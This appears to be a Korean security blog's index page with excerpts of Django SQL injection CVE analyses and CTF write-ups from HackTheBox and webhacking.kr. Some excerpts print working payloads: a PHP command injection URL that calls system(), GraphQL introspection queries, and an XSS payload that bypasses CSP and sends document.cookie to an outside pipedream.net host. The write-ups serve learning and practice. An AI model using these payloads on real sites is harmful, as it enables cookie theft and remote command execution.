CVE-2022-28347: Potential SQL injection in Django QuerySet `explain()` Analysis

https://github.com/advisories/GHSA-w24h-v9qh-8gxj CVE-2022-28347 - GitHub Advisory Database SQL Injection in Django github.com 이 취약점은 PostgreSQL 환경에서 Django QuerySet의 explain 기능을 수행할 때 발생 가능한 SQL Injection 취약점이다. QuerySet 오브젝트의 explain() 메소드를 수행하면 EXPLAIN 명령어를 사용할 수 있는데, MySQL과 PostgreSQL에서는 특별히 EXPLAIN 명령어에 옵션을 지정할 수 있다. 이 기능을 구현한 explain() 메소드에서 발생했던 SQL Injection 보안 취약점(CVE-2022-28347)을 취약점을 ..

CVE-2022-34265: Potential SQL injection via `Trunc(kind)` and `Extract(lookup_name)` arguments

# 개요 최근 우리 회사 슬랙 방에서 평소 존경하던 갓해커 분이 올려주신 Django SQL Injection CVE가 하나 있어서 분석해보았다. 아무래도 Django를 통해 사내 프로젝트, 학교 프로젝트를 몇 번씩 진행해본 경험이 있다보니 자칭 Django 전문가로서 CVE를 분석해보지 않고 지나칠 수가 없었다. 데모 소스코드를 보니 아래 부분에서 취약점이 발생했다. Extract와 Trunc에서 비슷한 이유로 취약점이 발생하는 듯 보였다. Trunc 함수에서 받은 인자에 대해 적절히 처리해주지 못해서 발생하는 SQL Injection 이었다. 사실 Pythonic하지 못한 코드에서 발생하는 보안 취약점이라 파급력 자체는 강하다고 볼 수는 없다. 그런데 보안 취약점이 맞기는 하다. 세상의 수많은 프로그..

HackTheBox Heist write-up

타겟 분석 $ nmap -A -T4 10.129.23.138 Nmap scan report for 10.129.23.138 Host is up (0.19s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested ..

webhacking.kr slipping beauty write-up

오늘 기계학습 시험을 봤는데 너무 망쳐서 그냥 웹해킹이나 더 공부하려고 webhacking.kr 문제를 풀었다. highlight_file() 을 통해 소스가 제공되는 문제이다. 한눈에 봐도 Attack Surface가 2가지 정도 보인다. File Upload 기능과 PHP Zip wrapper를 통한 file read 기능이 그것이다. 1 트. 일단 이 공격을 ZIP Slipping 이라고 했던 것 같은데, symbolic linked file을 zip하여 arbitrary file read까지 할 수 있다는 사실을 알고 있는 상태였다. + TMI ) 고등학교 1학년 때 BoB WEB CTF였나? 거기서 성준이형이 이 공격을 사용해 출제한 문제를 풀면서 알게됐던 공격이다. 이런 식으로도 공격이 되는구..

webhacking.kr NotSQL

GraphQL GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇지만 백엔드 개발자가 GraphQL 기능의 권한을 제대로 검사하지 않을 경우 Broken Authentication Control에 취약할 수 있다. Exploit. webhacking.kr:10012/view.php?query={__schema{types{name}}} webhacking.kr:10012/view.php?query=query {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDepr..

HackTheBox LoveTok write-up

문제에 접근하면 제일 처음 이런 화면을 볼 수 있다. 사실 문제 소스가 제공되는 문제이다. format을 입력하면 그에 맞는 포맷으로 시간을 리턴하는 간단한 웹페이지다. 하지만 포맷을 입력할 때 다음과 같은 코드를 사용한다. PHP에서는 string 안에서 변수에 접근하거나 함수를 실행할 수 있기 때문에 system() 함수를 실행할 수 있다. http://138.68.182.108:31769/?format={$_GET[0]($_GET[1])}&0=system&1=ls+-al+/;cat+/flagmKC78 끝이다.

webhacking.kr CHILD write-up

문제 분석 전형적인 XSS 문제이고, CSP를 우회하는 문제이다. 해당 문제의 HTTP Header를 보면 다음과 같다. script-src https://*.google.com/ 으로 되어있다. google의 서비스 중 하나를 찾아서 reflective한 값을 출력해주는 곳을 찾아야 하겠다. Exploit. ?inject=%3Cscript+src=%22https://accounts.google.com/o/oauth2/revoke?callback=(location.href=%27https://enl33h4vtg95t8o.m.pipedream.net/?c=%27%252bdocument.cookie);%22%3E%3C/script%3E 구글링을 조금 해보니까 callback을 통해 javascript cod..

HackTheBox baby website rick write-up

>>> pickletools.dis(b64decode(code)) 0: ( MARK 1: d DICT (MARK at 0) 2: p PUT 0 5: S STRING 'serum' 14: p PUT 1 17: c GLOBAL 'copy_reg _reconstructor' 42: p PUT 2 45: ( MARK 46: c GLOBAL '__main__ anti_pickle_serum' 74: p PUT 3 77: c GLOBAL '__builtin__ object' 97: p PUT 4 100: N NONE 101: t TUPLE (MARK at 45) 102: p PUT 5 105: R REDUCE 106: p PUT 6 109: s SETITEM 110: . STOP highest protocol am..

HackTheBox baby breaking grad write-up

오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 취약점 분석 1트 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다. Javascript Prototype Pollution으로 푸는 문제인가 싶어서 includes에서 취약점이 있다고 가정하고 계속 삽질했다. 출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다. 2트 /api/ca..